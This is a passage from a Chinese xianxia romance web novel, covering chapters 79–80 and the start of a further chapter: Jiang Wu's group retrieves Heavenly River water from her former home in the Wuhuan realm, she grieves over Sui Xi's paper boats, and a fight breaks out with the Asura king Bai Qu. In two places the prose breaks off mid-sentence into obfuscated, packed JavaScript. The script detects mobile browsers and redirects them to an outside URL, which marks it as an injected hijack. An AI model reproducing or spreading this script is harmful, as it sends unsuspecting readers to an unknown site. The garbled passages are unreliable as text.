厍灯抱着长生跟在雾沅身后,看到姜芜停下了脚步,立刻快步上前,“姐姐,你没事吧?” 姜芜抬眸面无表情地看了厍灯一眼,上前将长生接到怀中,随即扬手打在了厍灯的脸上。 厍灯垂着双眸,脸颊火辣辣的疼,他不敢抬手去摸,也不敢抬头去看姜芜。 姜芜问道:“后续你打算同长生如何?” 厍灯闻言,偷偷地抬眸看了姜芜一眼,随即嘻笑道:“还是姐姐厉害,轻轻松松地就解决了那个小老头,我和长生都听姐姐安排。” 宿凌薇见姜芜脸色缓和,立刻上前从她怀中接过了长生,“呀,长生,叫姑姑?” “安排?”姜芜蹙眉,“你多大了,还需要我安排你?你不是很有主意,很有主见吗?怎么这个时候便要听我的安排了?九州这么大,你愿意去哪里便去哪里,人间也好,大荒也罢,愿意再回无幻之境都可以。” 宿凌薇抱着长生靠近雾沅,轻声说:“她生气了。” 雾沅有些不解,“不是说你们修罗不在乎这些感情吗?不对,奉眠曾经说过姜芜是人族。” 宿凌薇眉心一拢,否认道:“不可能,濯濯生在无幻之境,长在无幻之境,怎么可能是人族?修罗是不在乎,但是濯濯在乎,否则她不可能同睢羲这般长久的。” 雾沅追问道:“既然睢羲对她如此重要,为何她还要这般?” 宿凌薇面色空白地摇了摇头,“我不知道,像你说的,修罗不在乎这些感情,我们都是想在一起便在一起,不想了便分开,短的便几个时辰,长的便几年,鲜少有像姜芜睢羲这般的,或许她有自己的想法吧。” 姜芜将钱袋取出来放在了厍灯的掌中,“阿灯,无论你去哪里,都用得上钱,没有钱傍身是不行的。有事情便同姐姐传讯,姐姐会帮你的,知晓吗?” 厍灯攥着手中的钱袋,心中五味杂陈,“姐姐,我还能去哪里啊?我同卿云的家,已经被他们给毁了。要不,我带着长生回去重建我们的家吧?” 厍灯抬眸看着姜芜,双眼之中殷殷切切。 “在哪?”姜芜问道,“你若是愿意也可以在天都城后置一间小院子。” 厍灯说:“在青州烟浮山,长生一直没去看过,我想带长生去看看他母亲曾经生活过的地方。” 姜芜看向一旁同宿凌薇玩闹的长生,“所以,长生是有记忆的对吗?所以才配合你使用血刹术?” 79. 回家 厍灯摇了摇头,神情复杂地吐出一口浊气,五年的时间于他而言转瞬即逝,根本察觉不到时间的痕迹,但是他却有了一个孩子,有了一个他同卿云的孩子。 “长生没有记忆,他甚至不知晓我是谁,那些记忆太痛苦了,我希望他不要记得。”说完,厍灯便与姜芜一同走到长生面前。 厍灯矮身于长生面前,神情认真地看着他,伸手揉了揉他的脑袋,随即挽起了他肥大的袖口,露出瘦骨嶙峋的手臂,以及大大小小的伤疤。 宿凌薇见状惊呼一声,她看着长生身上的疤痕,轻声问道:“长生,痛不痛啊?” 雾沅看着长生身上的疤痕,刀割、烫伤、鞭痕等等,心中动容,在大荒幼兽才是最重要的,幼兽诞生后,族群的首要任务便是保护幼兽,寻到的食物也是幼兽优先,即便不是自己血脉,也会用心相待。现下,他看到长生这般模样,心中也是百感交集。 长生却笑着摇了摇头,“不痛的,已经好了。” “长生他很聪明,能够找到我所在的地方。”厍灯轻轻地抚摸着长生手臂上的伤疤,“但是因为很多原因,他也常常受欺负,我教他血刹术,不过是希望他能为自己出一口气而已,我都不知晓他有没有施展。” 厍灯絮絮叨叨地说:“我被十方楼的人控制住,什么都没有,不能给他吃食、衣裳,甚至是冬日用的煤炭,我什么都没有,只能教他这些。” 姜芜看着长生,想起那些确确实实中了血刹术的十方楼弟子,伸手揉了揉长生的发顶,温声说:“长生呀,这是你的父亲,快叫爹爹。” 厍灯摇了摇头,他想起方才在十方楼欲放弃长生的想法,他觉得自己不配让长生喊他父亲。 长生是谷卿云拼命留下的孩子不错,但是他既没有谷卿云重要,也没有姜芜重要,他觉得自己不配做长生的父亲。 “不要强求他,但是我会好好待他的,这是卿云和我的孩子。” 姜芜说:“既然你们选择留在人间,那便让长生读个学堂,你也要收敛一下自己的性子,莫要给自己惹一些不必要的麻烦,有事便找我。” 长生抬眸看着厍灯,又抬眸看了看其余的三人,随后毫不嫌弃地伸手抱住了他的脖颈。 “爹爹。” 厍灯闻言抱紧了怀中的长生。 “长生,对不起。” 【并州】 商扶庭同沈确带着宗华根据姜芜给的灵讯找到了位于顺榆镇上的一家客栈,在柜台处问过店小二后上楼找到了姜芜所在的房间。 姜芜探着常奉眠体内所剩无几的瘴气,随即着手去治疗她的双眸。 常奉眠感觉一股灼热之息扑面而来,忍不住捉紧了寂满的衣角,她紧咬着双唇,鲜血从她的双眸中流下。 寂满见状握紧了常奉眠的双手,神情担忧地安抚道:“眠眠,眠眠,是不是很难受啊,要不然你咬我吧。” 常奉眠动作缓慢地摇了摇头。 雾沅闻声前去开门,对着门外的商扶庭微微颔首,“来了。” 商扶庭同沈确进门,他向内间看了一眼,“情况如何?寂满跃天门可还顺利?” 雾沅欲言又止地看了宗华一眼,随后才开口道:“不太顺利,现下不方便,一会再说。宗华,你先去隔壁房间休息片刻吧。” 宗华闻言,心中有些愧疚地看着雾沅,“我也大概了解了一些事情,是不是常胜族长说的诅咒生效了,你们怕我的出现会刺激到奉眠?她现下最不想见的人应该便是我吧。” 雾沅见状伸手拍了拍宗华的肩膀,为他的懂事而感到心酸,“不是,你不要多想……” “是谁来了?是宗华来了吗?” 宗华抬眸看到常奉眠衣衫不整地从内间摇摇晃晃地走了出来,一路上撞到了不少的桌椅板凳,她发髻未束,墨发散乱,双眸处蒙着白巾。 现下鲜血正从常奉眠的双眸中渗透出来,粘湿了白巾,恍若她白皙的脸上正在流着血泪,哭诉着她惨死的族人。 沈确见状整个心都揪在了一起,前几日还是明媚若阳光的女子,现下却成了这般模样。 寂满神情焦急地追了出来,伸手揉了揉常奉眠撞到屏风的手臂,“眠眠,不要着急,你现下眼睛不好,要慢慢来。” 宗华大惊,一时之间喉头阻塞,发不出一言。 雾沅侧身将宗华挡在身后,开口对常奉眠说:“不是宗华,是商道长。” 商扶庭见状适时开口,“奉眠姑娘,是我,商扶庭。” 常奉眠闻声逐渐冷静了下来,她默默地收回了外伸的手,轻声说:“抱歉,是我太激动了。” 雾沅以眼神示意寂满,让他将常奉眠扶进里间。 寂满颔首,轻声哄劝着将常奉眠引着回了里间。 宗华神情大恸,他看着步履蹒跚的常奉眠,低声问道:“这一切,真的是我造成的吗?是因为我的存在,然后又去了奉眠的村落,所以才会让诅咒横生吗?” 雾沅立刻否决,“不,并非如此,不是诅咒,你不要往心中去,这一切都同你没关系,是你的哥哥从应。而且这几日你跟着商道长在其他的长灵村落,也没有诅咒之事发生,对吗?” 宗华蹙眉,“我哥哥?他为何要做这种事?常胜村长他们不都是母亲的亲朋好友吗?我哥哥为何会这么做?” 姜芜从里间绕了出来,开口道:“这便要问问你了,你来寻我们的目的,真的只是让我帮忙复活你的母亲吗?” 商扶庭见到姜芜双眸一亮,连带着神情都缓和了不少。 宗华神情真诚地用力点了点头,“真的,神仙姐姐,我没有骗你,我哥哥说你很厉害,所以我便想着试试看,却不想弄成现下这个样子。” 姜芜见宗华不像是说谎的模样,便耐心解释道:“宗华,我并非针对你,长灵族因双眸的原因避世多年,村落所在之处都有精心设计的法阵隐匿气息,所以极有可能是从应追寻着你的气息到了村中。” 宗华蹙眉,心中隐隐有些害怕,“可是我哥哥为何要这么做?这不是让所谓的圣人预言成真了吗?” 姜芜幽幽地叹了一息,“这便要问你哥哥从应了。” 宗华垂下了双眸,心海翻腾,难过极了,现下所发生的一切是他最不愿意看到的,他与哥哥已经没了母亲,弄丢了妹妹,这种有苦难言的痛却在常奉眠身上重演,她没有了父亲,从此便孤苦伶仃一人,他再苦还有哥哥与父亲做伴,况且常胜还是母亲的亲哥哥,自己的亲舅舅。 宗华抿了抿双唇,开口问道:“那奉眠的眼睛呢?她的眼睛怎么办?还能治好吗?” 姜芜摇了摇头,“我不清楚,要等问过从应后才知晓。” 宗华闻言急切地说道:“我去,我去找我哥哥。” 商扶庭伸手扯住了要往外跑的从应,“你不会任何法术,要如何去寻?” 宗华闻言急得红了眼眶,支支吾吾地说不出话来,片刻后才说:“总不能坐以待毙吧,我……这里找不到,我便回南疆,总有一处能找到我哥哥,他不能这样,他总得给这件事情一个交代。” 姜芜随口敷衍,“沈确,你先带宗华去镇上逛逛,此事不急于一时,宗华你要记得,只要你还同我们一处,从应必定会寻来。” 宗华拽着衣角看向姜芜,双眸含泪,“神仙姐姐,那你说我现下该做些什么?” 姜芜按了按眉心,神情有些疲惫,没有多少耐心与精力去开导宗华,“你先暂时跟着沈确出去逛逛,我还有要事要做,一时半刻无法给你个准确的答案。” 宗华闻言焦急地问道:“神仙姐姐,你要去做何事?有什么是我能帮忙的吗?这件事情若真的是我哥哥做的,我想做点力所能及的事情去弥补。” 姜芜拒绝道:“不必了,我现下要去无幻之境取天河之水,你帮不了忙。” 宗华闻言失落地垂下了头,“好,那我便不去给你添乱了。”说完,他便垂头丧气地走了出去,。 沈确看了商扶庭一眼,随即快步走了出去。 姜芜无奈地叹了一息,觉得自己方才语气有些冲,从纳袋里取了些碎银子给雾沅,让他帮忙送去。 姜芜折回桌前倒了杯凉茶一饮而尽,平复了一番心中翻涌的情绪。 商扶庭见状走上前,他伸手握住姜芜的手臂,将她往自己身侧拉近几分,“不舒服?” 姜芜看着商扶庭握在自己手臂上的手,抬眸有些诧异地看着他,“何事?” 商扶庭说:“无幻之境,我陪你去。” 姜芜挣开商扶庭的手去摸桌上的茶壶,给自己的杯中倒满,“不必了,无幻之境内很危险,我同宿凌薇一起。” 商扶庭蹙眉,并不认同姜芜的说法,“我现下今非昔比,可以助你一臂之力。更何况去寻天河之水,不止是治奉眠的眼睛,还有天都东城的百姓,以及封印无幻之境,都需要。” 姜芜有些疲惫地合起双眸,也不同商扶庭去纠结这个问题,妥协道:“可以,收拾一下,一会便出发。” 【无幻之境】 并州北端伫立着一道虚幻飘渺的白瘴,连绵数千里,穿过一片遮天蔽日的森林草原,豁然开朗之际恍若来到了天涯海角,黄色的沙砾时不时从白瘴之中滚滚飘出,戾气化作的罡风撞到这层白瘴上,发出如同惊雷一般的声音。 商扶庭仰头看着这层白瘴,一阵十分突兀的眩晕感袭击了他,他伸手捂着双眸晃了晃头。 姜芜问道:“怎么了?” “无事。”商扶庭有些不舒爽地眨了眨双眸,“可能是仰头太久,有些眼晕而已。” 宿凌薇扬声道:“濯濯,这边。” 姜芜闻言立刻朝宿凌薇所站的地方走去,商扶庭紧随其后。 宿凌薇说:“这便是封印裂开的地方,大家都是从这里进出的。” 商扶庭这才发觉宿凌薇所看的地方有一条巨大的裂缝,可供一人侧身而过,“封印居然破开了这么大一块?!” “还好吧,最起码可以自由进出了,不必再困在那满天黄沙中了,而且近四百年来,越来越多的修罗又疯又癫,你们要小心一些,天河之水在无幻之境腹地,我们尽量保存体力,不要跟一些修罗起正面冲突,打不过就跑,知道了吗?”说完,宿凌薇回头看了姜芜和商扶庭一眼,随即转身没入了白瘴之中。 商扶庭进入无幻之境后首先看到的是满天黄沙,这里寸草不生,除了沙丘便是狂风,罡风猎猎,卷着黄沙遮天蔽日,与人间简直天壤之别。 姜芜问道:“自无幻之境封印之后,疯癫的修罗很多吗?我记得之前都是几十年甚至几百年才会出一个。” 宿凌薇不以为意地说:“谁知道呢,可能无幻之境内没有灵气的存在了,也可能天河之水功效减弱了,具体原因谁知道呢,总之不是什么好兆头。” 商扶庭抬手撑了个结界为三人挡住风沙,他神情不解地问道:“无幻之境内为何会有灵气的存在呢?此地不是戾气横行吗?而且修罗不是不死不灭,天地同寿吗?” 宿凌薇解释道:“天地同寿与疯癫不冲突,大修罗突然疯癫的几率比较大,而且我也没说疯了癫了便是死了呀。” 商扶庭蹙眉,“那灵气又是怎么回事?” “你问题真的很多,五行道宗都不教给你们这些常识吗?”宿凌薇说,“在无幻之境的封印和大荒结界生成之前,天地之间灵气是共存且流通的,大荒神树吸纳戾气产生灵气供妖族和人族修行,无幻之境戾气重,但也不是一点灵气都没有的,而且此地本身便不与人界共通的,同大荒一样都是有出入口的。自从段怀野做了那一系列的事情之后,灵气和戾气便渭泾分明了,而且灵气优先供给人族使用,戾气又从无幻之境内流通不出去,大荒神树吸纳不了戾气,也产生不了灵气,便只能日渐枯萎。” 宿凌薇说完恍然大悟地拍了一下手,“这么一分析便全说得通了啊,原来不是天河之水作用减弱了,而是无幻之境内戾气太盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579996|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。不过都是些治标不治本的东西,只是延长清醒的时间而已,不能从根本上解决疯癫问题。疯癫就像天谴,指不定哪一天便落在了自己的头上。” 姜芜应了一声,“确实如此,灵气与戾气相生相克,万事万物都有一杆天平,只要在平衡处便不会出现意外,就像人族和妖族可以用一点戾气增进修为,只是难以主动吸纳戾气入体,修罗也是需要用一点灵气来同戾气抗衡。戾气诞生于浊气之中,灵气诞生于清气之中,大荒神树虽然能利用戾气产生灵气,但是远远不及戾气的产生速度,若是戾气过载,其他种族都会被戾气摧残至死,所以诞生了修罗来消化多余的戾气。” 商扶庭神情凝重地看着姜芜,他心中有些杂乱,姜芜知晓的事情很多,明白的道理也很多,既然她知晓的如此清楚,在修罗族中又有如此交好的朋友,不知晓到时候是否真的会狠心封印无幻之境,将她的朋友推入无尽的死亡之中。 无幻之境的结界若是不复存在,修罗一族拥有灵气便有一线生机可存,若是没有便只能在无尽的戾气中迎接必然疯癫的结局。 商扶庭觉得自己大抵是明白了当初太初道尊的目的,他想削减修罗一族的数量,但又要保证戾气不会过载,所以便封印了无幻之境,即可以达到他的目的,又能保障人族的安危。 只是大荒神树已有枯萎之相,全凭妖王九子支撑,太初道尊料事如神,却没有个万全之法,商扶庭不解,莫非太初道尊在这件事情上失策了? 商扶庭心有疑惑,他快步追赶上姜芜,伸手握住她的手臂,“姜芜,大荒神树日渐枯萎,若想灵气长盛不衰,人族代代永存,该如何是好?” 姜芜抬眸看了商扶庭一眼,听到他的问题认真思索了起来。 商扶庭看着姜芜那双漂亮的双眸,敛眸思索时,秀眉微蹙,纤长浓密的睫毛像是一片小小的扇子,他伸手抚开姜芜脸上被风吹乱的碎发,心中突然有了个心惊的答案。 太初道尊与姜芜交好多年,对她知根知底,以他做事周密的心思,怕是笃定了姜芜会去献祭,像当初他一般,以神魂封印无幻之境。 姜芜说:“段怀野当年死得突然,估计他的计划尚未完成,还缺一条连同无幻之境和大荒的通道,能够让戾气源源不断地流入大荒。戾气一旦大量进入大荒,妖族修行受阻,相当于削减妖族势力,这样便完成了一套完美的循环,既保证了人族的兴盛,同时还能削弱修罗族和妖族,一举三得。” “这样最好。”商扶庭垂眸,“天河之水在哪,我们要往何处走?我见这四处风景大差不差,你们是如何辨认方向的?” 宿凌薇看了姜芜一眼,见后者点头后才笑着说:“这下我们可方便多了,不必深入无幻之境腹地了,若是真去了,风沙一大,没个十天半个月,我们大概是出不来的。” 商扶庭神情疑惑,“那我们该去哪?” “去濯濯的家,睢羲之前引了天河之水到了他们二人的家中。”宿凌薇看到了不远处鬼鬼祟祟的二人,扬声道,“喂,你们两个要去哪?” 季易看了沛然一眼,“我没看错吧,那是濯漪吧,她居然回来了?” 沛然面色凝重地点了点头,“给大人送个消息。”说完,他便弹了一道戾气出去。 “宿凌薇来了,快跑!” 季易刚来得及转身,却被宿凌薇勾住了脖颈,他转头一看发觉沛然也在她的控制之下,忍不住重重地叹了一口气,“宿凌薇,你跟百衢有仇报仇,有怨抱怨,不要为难我们两个。” 宿凌薇笑着说:“放心,我不会对你们怎样的,而且谁关心百衢怎么样了,只是看到熟人,打个招呼而已。” 沛然问道:“当真?” “自然。” 季易看了看宿凌薇的手臂,“你打招呼的方式还挺特别,你快放了我们,我们还有要事做。” “去人间?” 沛然看了季易一眼,随即点了点头,“去人间。” 宿凌薇松了手,“去吧,我们也有要事。” 季易见状催促着沛然,两人快速离开。 睢羲睁开双眸,他伸手接住那道戾气,心绪翻腾,他手指一捻将那道戾气散去,抬眸看向高不见顶的巨树,随后缓缓地舒了一口气,唇角浮现出一丝笑意,随后起身整理着自己的衣裳,当他看到自己灰白的长发时,神情一顿,最终决定隐匿了气息。 睢羲有些疲惫地按了按额角,他连日来长时间地提取记忆,加之方才强烈的情绪波动,现下已经疲累不堪。 商扶庭同宿凌薇跟在姜芜身后疾行百里之后,豁然看到几颗拔地而起的巨树,树形高大无叶,枝丫通天,已经不是几人合抱所能比喻的,树干之中仿佛能装得下一间三进三出的院子。 姜芜解开结界,邀请商扶庭和宿凌薇进门。 睢羲瞬间将注意力放在了外面。 三人进入结界之后,风沙骤停,入眼可见的一方种植着各类花草的小院子,打理整洁的花草之中立着一架单人秋千,水声潺潺,侧耳倾听还有水车响声,同人间的院落并没有多大的区别。 商扶庭看着这方好似沙漠绿洲般的小院,心中五味杂陈,院子的主人花了大把的心思,到处都能看得到用心。 姜芜更是心绪复杂。 宿凌薇跑到梨树底下,仰头数着树上结了几颗梨子,“濯濯,这梨树长得不错啊。” 姜芜勉力一笑,“你同扶庭去后面取天河之水吧。” 睢羲听到姜芜口中的称呼,眉毛高高挑起。 宿凌薇用戾气摘了颗梨子下来,一口应了下来,并招呼着商扶庭跟上她的步伐。 商扶庭迟疑了片刻,他掩盖着神情中的失落,深深地看了姜芜一眼,随后跟着宿凌薇去了后院。 姜芜面上笑意不变,她看着商扶庭走远,随后走到巨树前,迟疑地伸出手,试探地去触碰门扉,接着她吐出一口浊气,一鼓作气推开了房门。 “睢羲,我回来了。” 80. 思念 “睢羲,我回来了!” 姜芜每次回家进门都会惯例说上这么一句,尾调上扬,动作欢快地扑进睢羲的怀中,诉说着不见之时的想念。 “濯濯,玩得开心吗?” 睢羲无声地张合着双唇,给予姜芜如往常一般的答复。 姜芜看着空荡荡的树屋,心中没由来得失落,她缓步走了进去,伸手拂过一一拂过干净整洁的家具,积攒了多日的情绪像是开闸的洪水,喷涌而出,她深深地吸了一口气,堪堪维持住脸上的神情。 姜芜垂眸坐在铜镜前,取了平时用的象牙梳子顺着发尾,却在抬头时从镜子中看到自己泪流满面的脸。 “睢羲......我回来了......” 姜芜放下手中的梳子,手忙脚乱地擦着脸上的泪珠,却意外碰倒了放在一旁的盒子,大量的纸船从其中飘落了出来。 姜芜讶然,她红着眼眶捡起了其中一只,泛黄的纸张上浸着墨迹,她沿着折叠的纹路翻开纸船,只见上面写着“濯濯平安”。 “濯濯,别看。” 睢羲蹙眉,他不想让姜芜看到那些祝福的话,本意是不想现下给她徒增烦恼与伤心。 姜芜心中大恸,立刻俯身去捡其他的纸船,手指颤抖着展开,“濯濯康健”、“濯濯喜乐顺遂”、“濯濯年年无虞”、“濯濯岁岁安澜”,几个字跃于纸面上,每一张折成四方平整的小船,寄托着睢羲的思念,没有顺着水流远去,而是全部堆放在了不见天日的木盒中,充斥在三百二十八年聚少离多的岁月之中。 不远处的矮几前,濯漪和睢羲并肩而坐,彼时树洞里的面积并不大,也没有几件像样的家具,只有几块兽皮铺陈在地面御寒。 “睢羲,你看。”濯漪将手中的纸折成一只小船,然后笑着举到了睢羲的面前,模仿着小船随水波晃动的模样,“这样便是一只小船,相传也是人族寄托思念的一种方法,大江大河奔流入海,当你思念某个人时,折一只小纸船,放到水流中,她便能够收到你的思念,最好还要写几句祝福的话。” 濯漪从桌上取了一张裁好的宣纸放在睢羲面前,笑着说:“试试看?” 睢羲拿着纸张面露不解,执笔写下‘濯濯康健’四个字,“若是你在南疆,我在无幻之境,你如何能收到我放的纸船?有河流连同南疆与无幻之境吗?” “为何要写‘濯濯康健’?”濯漪伸手点了点纸面上的字迹,笑着看向睢羲,“人族有非常浪漫的指代词,‘濯濯’对你来说可以替换成‘吾妻’,如何?” “吾妻?”睢羲蹙眉,摇了摇头说:“这个指代词不好,很模糊。吾妻是指我的妻子,可以有很多个,但是濯濯只有一个。” 濯漪眨了眨眼,收敛了脸上的笑容,抿唇看着睢羲,神情有些不悦,“你还想要几个啊?” “你一个便够了。”睢羲见状笑了起来,拿手指勾了一下濯漪的脸颊,“纸船不好,再想一个。” 濯漪闻言歪着头认真思忖了起来,片刻后才说:“好像是这个样子的,那看月亮?月亮总归是同一个月亮吧?” 睢羲无奈地叹了一息,唇角含笑,“不必如此麻烦,你想见我,立刻便能见到我。要比放纸船,看月亮省事得多。” “好像是这个样子哦。”濯漪将手中的纸船随手一扔,然后扑进了睢羲的怀中,“纸船、月亮什么的确实麻烦,我们时时刻刻都能见面。” 睢羲身形一僵,他单手揽住濯漪的腰,不言不语地垂眸看着她。 濯漪担忧地抬起双眸看向睢羲,“怎么了?身上有不舒服的地方?” “没有。” 濯漪刚想要开口继续询问,却见睢羲突然卸力躺倒在地上,她没有任何防备,惊呼一声跟着扑进了睢羲的怀中。 濯漪怕压到睢羲的伤处,慌忙起身,她将垂下来的长发撩至身后,摸索着睢羲胸膛,焦急地说:“到底哪里受伤了啊?怎么不说话啊?” “没事。” 濯漪急忙去解睢羲的衣带,“小伤也会疼啊,让我看看在哪里。” 睢羲神情有些无奈,他捉住濯漪的手,“给你看了,你又会难过,就不能当不知晓这件事吗?” 濯漪佯装愠怒,她跨坐在睢羲身上,甩开后者的手,“你给不给我看?” 睢羲见状,箍着濯漪的腰起身,随后将外袍褪下,露出光洁无伤的上身。 濯漪顺着筋肉纹理细细摸索着,片刻后才疑惑地抬眸看向睢羲,“没有伤?” “没有伤。”睢羲探头咬了一下濯漪的下颌,“傻濯濯,不必如此担忧我,你不习惯血腥味,我没有处理好之前是不会来见你的。” 姜芜突然觉得呼吸困难,她捉着胸前的衣襟,神情无措地将散落的纸船归于一处,眼泪模糊了视线,她想要将全部的纸船找回,却总有几只是伸手难以够到的,她拖着沉重的身体,匍匐在地,用力去拿原处的纸船。 睢羲见状预备从树屋二层的卧房跃下。 商扶庭捡了剩余的纸船在手中,然后俯身递给了姜芜,他神情忧伤,看着后者这般模样,心中钝痛,他没有做错任何事,却承担不了姜芜铺天盖地的汹涌情绪。 于情,当时他身后不仅仅只有荆州萧家,还有千千万万的黎明百姓,甚至还有他死去的乡亲和家人,于理,五行道尊收留了孤身一人的他,庇护他长大,教他认字读书,予他饱腹充饥,引他入道修行,告诉他匡扶天下大道,维护世间安定,有义务斩杀扰乱世间安宁的修罗。 他没有做错任何事。 商扶庭神情悲伤地垂着双眸,他知晓不论姜芜所做何为,她与睢羲之间的情深义重是他永远也无法介入的,全部都是他自己的一厢情愿,事已至此,商扶庭依旧看不懂姜芜,也看不清她口口声声的恨,也不明白她万顷恨海之下是不是密密麻麻的爱意。 可是,商扶庭却不知晓姜芜恨谁,或许恨段怀野,或许恨睢羲,或许恨她自己,又或许她谁也不恨,毕竟在这阴差阳错之中,恨只是借口,恨谁都无用,恨最无用。 又或许口口声声的恨都是借口,来掩饰那些不能被拿出来的爱。 姜芜看着递过纸船的手,心神一愣,心中涌出了巨大的期待与喜悦,她迅速抬眸向上望去,失落感也在同一时间铺天盖地压倒她。 姜芜伸手接过纸船紧紧地握在手中,轻声说:“商扶庭,我想一个人静一会。” “好。” 商扶庭起身向外走去,伸手拭去脸上的一颗泪珠。 商扶庭明白,自己莫名其妙的爱意被短暂地放在了阳光底下一刻,而姜芜也愿意将这份不明不白的感情珍藏地捧在手心中,没有给予他任何难堪。 姜芜也一直在维护着所有人的情绪,将他们这群人族修士、大荒妖怪以及修罗组成的队伍紧紧地粘合在一起。 在商扶庭的心中,姜芜一直是一个很好的人,只不过他因为血海深仇一直不愿意承认而已。 姜芜侧身躺在兽皮上,怀中抱着木盒子,她蜷缩起身体,将自己缩成一团,她咬着手指来转移心中之痛,意识昏沉。 百衢风风火火地跑了进来,正准备开口便看到了姜芜,他眉心一拢,“你怎么在这?” 睢羲刚想让百衢离开,便看到姜芜背对着后者坐了起来,看着她擦干了脸上的眼泪,将怀中的木盒子整理好放回了原处。 姜芜缓了缓情绪,随即便一言不发地越过百衢向外走去。 百衢见状面色阴沉地扯住姜芜的手臂,质问道:“我问你为何在此处?来看睢羲死没死?死得够不够透彻?你害他至此,还有脸回来?你哭成这样给谁看,早知今日,何必当初?真是猫哭耗子,假慈悲。” 姜芜甩开百衢的手,嗤笑一声,“闭嘴,你若是想死,我也可以成全你。”说完,她便挥袖向外走去。 睢羲待姜芜走远后,才从木梯上缓缓显形,他看着门外开口道:“百衢,你别欺负她。” “得,谁想插手你们两个的破事。”百衢哼笑一声,“又疯了一个,赶紧跟我走。” 睢羲蹙眉,“多大?” 百衢说:“应该不会很棘手,才几千年。” 睢羲问道:“居然如此年轻,原因为何?” “谁知道呢,先绑起来扔天河里看看,不行再杀。”百衢耸了耸肩,“你方才在二楼躲躲藏藏做何事?她好不容易回来了,你怎么不下来见她?” 睢羲向树外看去,舒缓了脸上紧绷的神情,“等我完成一件事情,便去找她,东西找到了吗?” 百衢应了一声,将一块黑色的物体扔给了睢羲,“这是玄铁,无坚不摧。” 睢羲将玄铁收进袖袋中,“多谢。” 姜芜在角落处收拾好情绪,确定好没有任何可疑之处后才朝着商扶庭和宿凌薇走去。 宿凌薇正坐在秋千上,百无聊赖地前后晃着,她看到姜芜朝着这边走来,立刻站起来迎了上去,并将手中的三瓶天河之水递给了她,“喏,取了三瓶,你们两个可真是花了心思啊,这里布置得真不错。” 姜芜抬眸看了商扶庭一眼,随后将其中两瓶递了过去,“我留一瓶给眠眠治眼睛,剩下的都给你。” 商扶庭上前接过那两瓶天河之水,十分克制地没有再碰到姜芜的手,他哑声道:“好,我替天都东城的百姓谢谢你,也替黎明苍生谢谢你。” 姜芜摇了摇头,“不用谢我,我没有做任何的事。” 宿凌薇笑着说:“好了,你们两个不要再谢过来谢过去的了,我们走吧。赶紧离开这里吧,我在人间待久了,都有些不适应这里的风沙了。” 姜芜恋恋不舍地回头看了一眼树屋,随即面上带着笑容对二人说:“走吧。” 商扶庭看着姜芜的举动,眼眶发酸,他迅速转身闷头往结界外走去。 宿凌薇挽着姜芜的手臂向外走着,“濯濯,你说天河之水对常奉眠会有用吗?” 姜芜的手指摩擦着瓷瓶光滑的表面,随即深深地叹了口气,“但愿有用吧,其实她体内瘴气排得差不多了,若是天河之水无用的话,便只剩下一个办法了。” “什么办法?” 姜芜面色凝重地说:“换眼。” “换眼?!” 商扶庭突觉面前一道煞人的罡风直扑而来,他立刻抬手格挡,随即飞身后撤,掐诀召出太初剑握在掌中,神情警惕地看着面前黄沙中的人。 一个神情癫狂、披头散发的修罗缓慢地自黄沙中走近,鲜血从他的身上滴落在地,落在黄沙之中,像是在沙漠中展开的一朵红花,他先是僵硬得转动头颅感受了片刻四周的气息,随后直直地朝着商扶庭扑了过来。 “坏了!”宿凌薇大惊,“为何让我们遇到这种癫狂的修罗了?小道士,你没有用法术吧?” 商扶庭蹙眉,他侧眸看了宿凌薇一眼,如实道:“方才用了。” 宿凌薇说:“那我们便尽量逃跑吧,这种修罗无知无感,全凭气息来锁定对面之人,若是主动攻击他,会被追杀到天涯海角,不死不休。” “有那么麻烦?”商扶庭架起双臂,一只手紧握太初剑,另一只手掐诀,蓝色的剑光大盛,“直接杀了他不行吗?” 宿凌薇不等开口阻止,商扶庭便飞身上前,同那名癫狂修罗缠斗了起来。 “哎,这个小道士怎么一根筋啊?”宿凌薇神情焦急,“这要打到什么时候去,马上便要极夜了,到时候天气严寒,风沙又大,我们怕是短时间内出不去了啊。” 姜芜说:“没关系,他拿的是太初剑,对付起修罗来应该会很容易。” 百衢纵身飞来,他抬手挡住了商扶庭刺向疯癫修罗的太初剑,旋身将其护在身后,神情戒备地看着商扶庭,“你是人族修士?来无幻之境做何事?” 睢羲停下脚步,隐于风沙之中。 商扶庭开口问道:“你又是谁?” 百衢扫过商扶庭手上的太初剑,双眸一眯,“我乃修罗王百衢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593372|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宿凌薇闻言反驳道:“屁,你自封的吧?谁承认了?” 百衢睨了宿凌薇一眼,“宿凌薇,你个蠢女人,少说几句死不了。” 商扶庭听到百衢的名号,顿时眼神一凛,他反转手腕,倒握太初剑,当即朝着后者斩去。 百衢立刻抽身后撤,他张开双臂,戾气呼啸而下,振臂之间如同猛虎一般扑向了商扶庭。 商扶庭抬剑格挡,伸手掐诀引天雷于太初剑身之上,挥剑之间,天雷滚滚。 “渡劫期的修士吗?”百衢冷笑一声,“我连段怀野都不怕,我还会怕你吗?!” 百衢言罢,一招一式直逼商扶庭的命门,排山倒海般的戾气压倒式地围绕于后者周身。 商扶庭挥剑的招式逐渐缓慢,他的嘴角浸出鲜血,神情狠厉地看着百衢,他双唇轻启快速念咒,左手画符咒,顷刻之间百衢所站之处,出现了一方六角符阵。 